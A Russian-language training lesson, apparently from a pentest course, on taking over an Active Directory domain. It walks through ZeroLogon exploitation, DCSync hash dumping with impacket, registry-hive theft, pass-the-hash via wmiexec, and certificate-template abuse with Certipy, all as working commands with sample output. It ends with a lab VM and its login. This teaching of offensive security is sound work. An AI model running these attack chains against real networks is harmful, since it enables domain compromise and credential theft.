# Захват домена

# Общая информация

Каталог (Directory, хранилище данных) — в контексте компьютерной сети, иерархическая структура, хранящая информацию об объектах в сети. Объекты - это серверы, общие тома и принтеры, учетные записи пользователей, рабочие станции, домены, приложения, службы, политики безопасности и почти все остальное в вашей сети.

Служба каталогов (Directory Service) — является как источником информации каталога, так и службой, делающей информацию доступной и полезной для администраторов, пользователей, сетевых служб и приложений. Active Directory™, служба каталогов, которая хранит информацию о сетевых объектах, а также реализует службы, которые делают эту информацию доступной и полезной для пользователей, компьютеров и приложений.

Объекты (Objects) — это сущности, составляющие сеть, отдельный именованный набор атрибутов, представляющий что-то конкретное, например, пользователя, принтер или приложение.

Схема (Schema) — это описание классов объектов (различных типов объектов) и атрибутов для этих классов объектов. Для каждого класса объектов схема определяет атрибуты, которые должен иметь этот класс объектов, дополнительные атрибуты, которые он может иметь, и класс объектов, который может быть его родителем. Каждый объект Active Directory является экземпляром класса объекта. Каждый атрибут определяется только один раз и может использоваться в нескольких классах. Например, атрибут Description определяется один раз, но используется во многих различных классах.

Домены — это объекты-контейнеры, или набор административно определенных объектов, которые имеют общую базу данных каталога, политики безопасности и доверительные отношения с другими доменами. Таким образом, каждый домен является административной границей для объектов. Один домен может охватывать несколько физических мест или сайтов, и содержать миллионы объектов.

Дерево домена (Domain Tree) — состоит из нескольких доменов, которые имеют общую схему и конфигурацию, образуя непрерывное пространство имен. Домены в дереве также связаны между собой доверительными отношениями. Active Directory представляет собой набор из одного или нескольких деревьев.

Лес (Forest) — это набор из одного или нескольких деревьев доменов, которые не образуют непрерывное пространство имен. Все деревья в лесу имеют общую схему, конфигурацию и глобальный каталог. Все деревья в данном лесу обмениваются доверием в соответствии с транзитивными иерархическими отношениями доверия Kerberos. В отличие от деревьев, лес не требует отдельного имени. Лес существует как набор объектов перекрестных ссылок и доверительных отношений Kerberos, распознаваемых входящими в него деревьями. Деревья в лесу образуют иерархию для целей доверия Kerberos. Имя дерева в корне дерева доверия относится к данному лесу.

Доверительные отношения (Trust Relationship) — это отношения, установленные между двумя доменами, которые позволяют пользователям одного домена быть распознанными контроллером домена в другом домене. Доверительные отношения позволяют пользователям получать доступ к ресурсам в другом домене, а также позволяют администраторам управлять правами пользователей в другом домене. На уровне леса доверительные отношения создаются автоматически между корневым доменом леса и корневым доменом каждого дерева доменов, добавленного в лес, в результате чего между всеми доменами в лесу Active Directory существует полное доверие.

Захват домена - получение уровня доступа управления контроллером домена из под учетной записи, которая имеет соответствующие права.

**Способы захвата контроллер домена**

- Эксплуатация уязвимости в контроллере домена.
- Кража учетных данных, токенов и сессий привилегированных учетных записей.
- Эксплуатация мисконфигураций сервисов в AD, предоставляющих доступ от имени привилегированных учетных записей.

По умолчанию наивысшие права в домене имеет учетная запись из группы Enterprise Admins.

Администраторы предприятия (Enterprise Admins) — это встроенная группа, находится в контейнере Users корневого домена леса, которая по умолчанию имеет административный доступ ко всем доменам в лесу. Enterprise Admins представляет полный доступ к конфигурации всех контроллеров домена. Существует очень мало задач, требующих использования учетной записи Enterprise Admins.

Администраторы (Administrators) – находится в контейнере Builtin каждого домена. Эта группа имеет полный доступ ко всем контроллерам домена и данным в контексте именования домена. Она может изменять членство во всех административных группах домена, а группа Администраторы (Administrators) в корневом домене леса может изменять членство в группах Администраторы предприятия (Enterprise Admins), Администраторы Схемы (Schema Admins) и Администраторы домена (Domain Admins).

Администраторы домена (Domain Admins) – находятся в контейнере Users каждого домена. Эта группа входит в группу Администраторы своего домена. Поэтому она наследует все полномочия группы Администраторы. Кроме того, она по умолчанию входит в локальную группу Администраторы каждого рядового компьютера домена, в результате чего администраторы домена получают в свое распоряжение все компьютеры домена.

**Возможности групп Администраторов**

Получив права доступа в одной из этих групп, мы можем управлять конфигурацией Домена или даже Леса. Мы можем получить доступ или изменить любые данные учетных записей, машин, сервисов и пр. А также управлять любой машиной в домене и любой учетной записью.

Также можем выгрузить все секреты, ключи, хеши пользователей и пр. учетных записей из контроллера домена и пользоваться ими для создания токенов доступа или входа в машины.

Для эксплуатации такой возможности зачастую используется утилита SecretsDump.py пакета Impacket, выполняющая атаку под названием DCSync Attack.

**DCSync Attack**

Разрешение DCSync подразумевает наличие таких разрешений на сам домен: DS-Replication-Get-Changes, Replicating Directory Changes All и Replicating Directory Changes In Filtered Set.

Важные замечания о DCSync:

Атака DCSync имитирует поведение контроллера домена и просит другие контроллеры домена реплицировать информацию с помощью протокола Directory Replication Service Remote Protocol (MS-DRSR). Поскольку MS-DRSR является действительной и необходимой функцией Active Directory, его нельзя отключить или деактивировать.  
По умолчанию только администраторы домена, администраторы предприятия, администраторы и группы контроллеров домена имеют необходимые привилегии.

**SecretsDump**

Утилита secretsdump выполняет атаку DCSync Attack и выполняет различные техники для извлечения хэшей с удаленной машины без выполнения на ней какого-либо агента. Для SAM и LSA Secrets (включая кэшированные учетные данные) утилита пытается прочитать как можно больше из реестра, затем сохраняет хэши в целевой системе (%SYSTEMROOT%\\\\\\Temp dir) и читает остальные данные оттуда.

Для NTDS.dit:

- Получает список пользователей домена и получает его хэши и ключи Kerberos, используя вызов \[MS-DRDS\] DRSGetNCChanges() , реплицируя только нужные нам атрибуты.
- Извлекает NTDS.dit через vssadmin, выполненный с помощью smbexec. Он копируется на temp dir и разбирается удаленно.

Пример выполнения команды:

```
python3 secretsdump.py test.local/john:password123@10.10.10.1
```

Файл ntds.dit представляет собой базу данных, в которой хранится информация Active Directory, такая, как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене.

# Пример захвата управления

Есть доступ к машине с ОС Windows, задача — взломать контроллер домена, извлечь данные объектов домена и закрепить доступ в домене.

**Ход действий**

1\. Проведем сканирование сервера с помощью nmap:

```
nmap -Pn -n -F -v --open 192.168.0.117
```

Список портов типичен для контроллера домена: помимо стандартных для Windows портов SMB, MS-RPC и NetBIOS присутствует также DNS-сервер на порту 53, сервер используемого для авторизации в домене протокола Kerberos на 88 и протокол доступа к каталогам LDAP на 389.

2\. Попробуем определить версию DNS-сервера с помощью сканирования SMB-порта с помощью скриптов nmap:

```
nmap -Pn -n -p 445 -sV -sC -v --open 192.168.0.117
```

Данная версия Windows Server, выполняющего роль контроллера домена, может быть подвержена ZeroLogon – уязвимости, позволяющей получить полный доступ к контроллеру домена без учетных данных.

3\. Используем средства Metasploit Framework для проверки сервера на эту уязвимость:

```
msfconsole
msf6> search zerologon
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
```

4\. Указываем IP сервера и его NetBIOS имя, ранее полученное при сканировании nmap, проверим и запустим эксплуатацию:

```
msf6> set RHOSTS 192.168.0.117
msf6> set NBNAME DC1
msf6> check
msf6> run
```

Данная техника эксплуатации приводит к установке пустого пароля машинного аккаунта контроллера домена, что может повлечь нарушение работы домена в целом.

5\. Для корректной эксплуатации нам нужно сначала получить учетные данные администратора домена, а затем, используя их, восстановить старый пароль машинного аккаунта. Используем для этого impacket — набор инструментов для работы с протоколами сетевого и прикладного уровня в Python, позволяющего взаимодействовать с Windows-сетями из Linux и вести тестирование их безопасности.

```
locate impacket
```

6\. Ключевым инструментом на этом шаге будет secretsdump – скрипт, используемый для получения учетных данных с удаленных Windows-компьютеров или локальных файлов реестра.

```
python3 /usr/lib/python3/dist-packages/impacket/examples/secretsdump.py
impacket-secretsdump -h
```

7\. Используем secretsdump для получения NTLM-хэша администратора домена. Ключ -just-dc-user позволяет получить хэш нужного нам пользователя, -no-pass указывает на то, что пароль машинного аккаунта пустой, sandbox.local – имя домена, DC1$ - имя машинной учетной записи, а IP 192.168.0.117 – адрес контроллера домена.

```
impacket-secretsdump -no-pass -just-dc-user administrator 'sandbox.local/DC1$@192.168.0.117'
```

8\. Для восстановления пароля машинной учетной записи нам необходимо вытащить его из реестра Windows, для чего мы можем подключиться к контроллеру домена с помощью инструмента wmiexec, который используется для выполнения команд на удаленной системе Windows через WMI (Windows Management Instrumentation).

9\. Укажем ранее полученный хэш администратора и проверим права после подключения:

```
$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'
C:\> whoami
```

10\. Сохраним интересующие нас ветки реестра в отдельные файлы:

```
C:\> reg save HKLM\SYSTEM system.save
C:\> reg save HKLM\SAM sam.save
C:\> reg save HKLM\SECURITY security.save
```

11\. Скачаем эти файлы на локальную машину:

```
C:\> lget system.save
C:\> lget sam.save
C:\> lget security.save
```

И удалим их:

```
C:\> del /f system.save security.save sam.save
```

12\. Локально проанализируем эти файлы с помощью impacket-secretsdump:

```
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

13\. Теперь, когда мы получили старый пароль машинного аккаунта из секретов LSA, мы можем вновь запустить эксплойт из msf, но уже в режиме восстановления пароля:

```
$ msfconsole
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6> set RHOSTS 192.168.0.17
msf6> set NBNAME DC1
```

14\. Опции при этом останутся прежними, кроме двух новых: ACTION – выбора действия и PASSWORD – значения пароля машинного аккаунта в HEX и восстановим пароль:

```
msf6> set ACTION RESTORE
msf6> set PASSWORD <$MACHINE.ACC hex password>
msf6> run
```

15\. Убедимся, что доступ сохранился:

```
$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'
```

# Уязвимости

Примеры уязвимостей

- PrinterNightmare
- [ZeroLogon](https://habr.com/ru/company/bizone/blog/526168/)
- [SamAccountNameSpoofing](https://habr.com/ru/post/594923/)
- [MS14-068](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068)
- Drop The MIC (Во взаимодействии DC с DC) и пр. вплоть до MS17-010

**Zerologon**

Zerologon — уязвимость CVE-2020-1472. Проблема Netlogon: вектор инициализации (IV), который должен был бы представлять собой случайное число, всегда состоит из одних нулей. Полный разбор эксплойта [тут](https://www.secura.com/uploads/whitepapers/Zerologon.pdf)

**Эксплуатация**

1\. Сброс пароля при помощи [эксплойта](https://github.com/VoidSec/CVE-2020-1472):

```
python3 cve-2020-1472-exploit.py -n 'DC01$' -t 10.10.0.1
```

2\. Реализация атаки DCSync с пустым паролем:

```
python3 secretsdump.py -no-pass -just-dc 'domain.local/DC01$@10.10.0.1'
```

3\. Получаем NT-хеш администратора с “относительным идентификатором” (relative identifier) RID 500 и используем его для получения доступа к управлению контроллером через WMI с помощью утилиты пакета Impacket: wmiexec.py:

```
python3 wmiexec.py -hashes <hash-value> 'domain.local/DC01$@10.10.0.1'
```

После успешного изменения пароля DC сервер Active Directory работает некорректно. Чтобы DC продолжал нормально работать, необходимо переустановить исходный хэш пароля.

4\. Создаем и скачиваем резервные копии реестра для восстановления пароля DC:

```
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save
```

5\. Извлекаем пароль из извлеченных копий реестра:

```
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```

6\. Получаем пароль машины контроллера домена в строке: $MACHINE.ACC:plain\_password\_hex:b4d1....

7\. И инсталлируем хеш машины обратно:

```
python3 reinstall_original_pw.py DC-01$ 10.10.0.1 b4d1….
```

**Кража учетных данных, токенов и сессий привилегированных учетных записей**

Распространен в сетях, незрелых с точки зрения ИБ.

Пример

Вы компрометируете машину в домене при помощи эксплойта и получаете доступ уровня NT Authority/System:

1. Вы извлекаете учетные данные, ключи и токены доступа из скомпрометированной машины.
2. Вы пытаетесь переиспользовать полученные доступы в рамках доступной вам сети, подключаясь с полученными данными к сервисам SMB, HTTP, MSSQL, RPC, WMI и пр.
3. Вы обнаруживаете прочие машины, на которые у вас есть доступ уровня локального администратора.
4. На скомпрометированных машинах вы вновь извлекаете учетные записи, секреты и токены доступа, уже новых для вас учетных записей.
5. Так вы повторяете шаги, пока не получите учетные данные кого-либо из групп: Administrators, Domain Admins, Enterprise Admins.
6. Как только вы получаете эти учетные записи, вы сможете получить доступ к контроллеру домена по WMI или SMB, или выполнить атаку DCSync.

**Привилегированные группы**

Есть группы, чьи привилегии позволяют нам получить доступ к группам первой тройки.

- Group Policy Creators Owners
- Account Operators
- Schema Admins
- Event Log Readers
- Backup Operators
- Remote Management Users
- Server Operators
- DnsAdmins

[Подробности использования](https://activedirectorypro.com/privileged-accounts-active-directory/)

# Сбор информации об объектах

При таком подходе основное время уйдет на разведку в домене и энумерацию учетных записей.

Важные данные при сборе информации:

- Домен
- Доменные политики
- Домен контроллеры
- Пользователи
- Компьютеры
- Группы
- Групповые политики (GPO)
- Организационная единица (OU)
- Список управления доступом (ACL)
- Доверительные отношения (Trusts)
- Лес
- Сессии пользователей
- DNS

**Энумерация сессий**

При получении доменной учетной записи появится возможность обращаться к машинам в домене и узнавать, какие активные сессии находятся на машинах. Можно использовать netview пакета Impacket:

```
netview.py -target 192.168.1.10 username, где пароль необходимо будет ввести через строку ввода.
```

Выгрузка всех машин домена и получение информации о актуальных сессиях.

```
netview.py domain.local/username
```

Также извлекать информацию о сессиях на машинах в AD возможно при помощи фреймворка PowerSploit и утилиты PowerView:

```
Get-NetLoggedon -ComputerName <servername>
Get-NetSession -ComputerName <servername>
Get-LoggedOnLocal -ComputerName <servername>
Get-LastLoggedon -ComputerName <servername>
Get-NetRDPSession -ComputerName <servername>
```

**Сбор информации о пользователях и сессиях**

Инструменты разведки в Active Directory

Windows:

- Ручной анализ: ADModule, PowerView, RSAT, ADExplorer, LdapAdmin, ADIDNSRecords
- Автоматизированный анализ: ADExplorer, Bloodhound, ADRecon

Linux:

- Ручной анализ: ldapper, ldapsearch, windapsearch, rpcclient, adidnsdump, jxplorer, ldeep
- Автоматизированный анализ: bloodhound-python, enum4linux, ldapdomaindump

**BloodHound**

[Ссылка на проект](https://github.com/BloodHoundAD/BloodHound)

BloodHound использует теорию графов для выявления скрытых и часто непредусмотренных взаимосвязей в среде Active Directory или Azure.

Пентестеры могут использовать BloodHound для легкого выявления очень сложных путей атаки, которые иначе невозможно было бы быстро определить.

Защитники могут использовать BloodHound для выявления и устранения таких же путей атаки. Как "синие", так и "красные" команды могут использовать BloodHound для более глубокого понимания отношений привилегий в среде Active Directory или Azure.

# Миссконфигурация сервисов в AD

Например:

- Вы взломали Linux машины, имеющую доступ в домен (это значит, что у нее есть машинная учетная запись в домене, и она хранится где-то в файловой системе).
- С высокой долей вероятности этот файл с названием \*.ccache может лежать в папке /tmp/ или файл \*.keytab в папке /etc
- Используя обнаруженный файл доменной машинной учетной записи, вы можете использовать его для атаки PassTheTicket и обратиться к какому либо из сервисов AD.
- Вы можете получить доступ в ActiveDirectory через протокол LDAP и узнать, какая машина отвечает за сервис AD CS (Active Directory Certificate Services) или же, получив доступ в Windows машине, в домене выполнить команду: certutil -config - -ping, для получения списка Certificate Authority.
- Далее, в случае некорректной настройки AD CS, вы можете, используя утилиту Certipy, попробовать выпустить себе сертификат по шаблону, который разрешает через аутентификацию клиента получателю сертификата указать произвольное альтернативное имя субъекта (SAN).
- Таким образом, вы сможете выпустить сертификат на имя администратора домена и воспользоваться им для получения доступа уровня администратора на контроллере домена.

**Certipy**

[Certipy](https://github.com/ly4k/Certipy) предназначена для автоматизации процесса генерации и управления сертификатами и ключами шифрования в сетевых приложениях на языке Python. Она предоставляет набор инструментов для создания и управления сертификатами X.509, которые могут быть использованы для обеспечения безопасной передачи данных через сети, например, для шифрования трафика HTTPS.

**Эксплуатация с Certipy**

Запрос сертификата по шаблону создания сертификата для другого пользователя:

```
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780
[*] Got certificate with multiple identifications

    UPN: 'administrator@corp.local'
    DNS Host Name: 'dc.corp.local'

[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc.pfx'
```

Запрос TGT и получение NT хеша с использованием полученного ранее сертификата:

```
$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:

    [0] UPN: 'administrator@corp.local'

    [1] DNS Host Name: 'dc.corp.local'

> 1
[*] Using principal: dc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0
```

Дополнительные ресурсы

- [Pass The Hash](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement/alternate-authentication-material/wip-pass-the-hash)
- [Lateral Movement](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement)
- [Password Spraying](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/brute-force/password-spraying)

# Практика

Стенд: [WinServer2016.v2.7z](https://stepik-files.cyber-ed.space/WhiteHat/WinServer2016.v2.7z) (зеркала: [Яндекс.Диск](https://disk.yandex.ru/d/rjLvWsGxfAZ5YQ) и [OneDrive](https://cybered-my.sharepoint.com/:u:/g/personal/stepik_cyber-ed_ru/Ec8SnhWePZFNvpzZjdXm6OkB7HTh77HUUF3xuXZt6KCs3Q?e=MZYW3B))

Логин: master Пароль: Qwerty123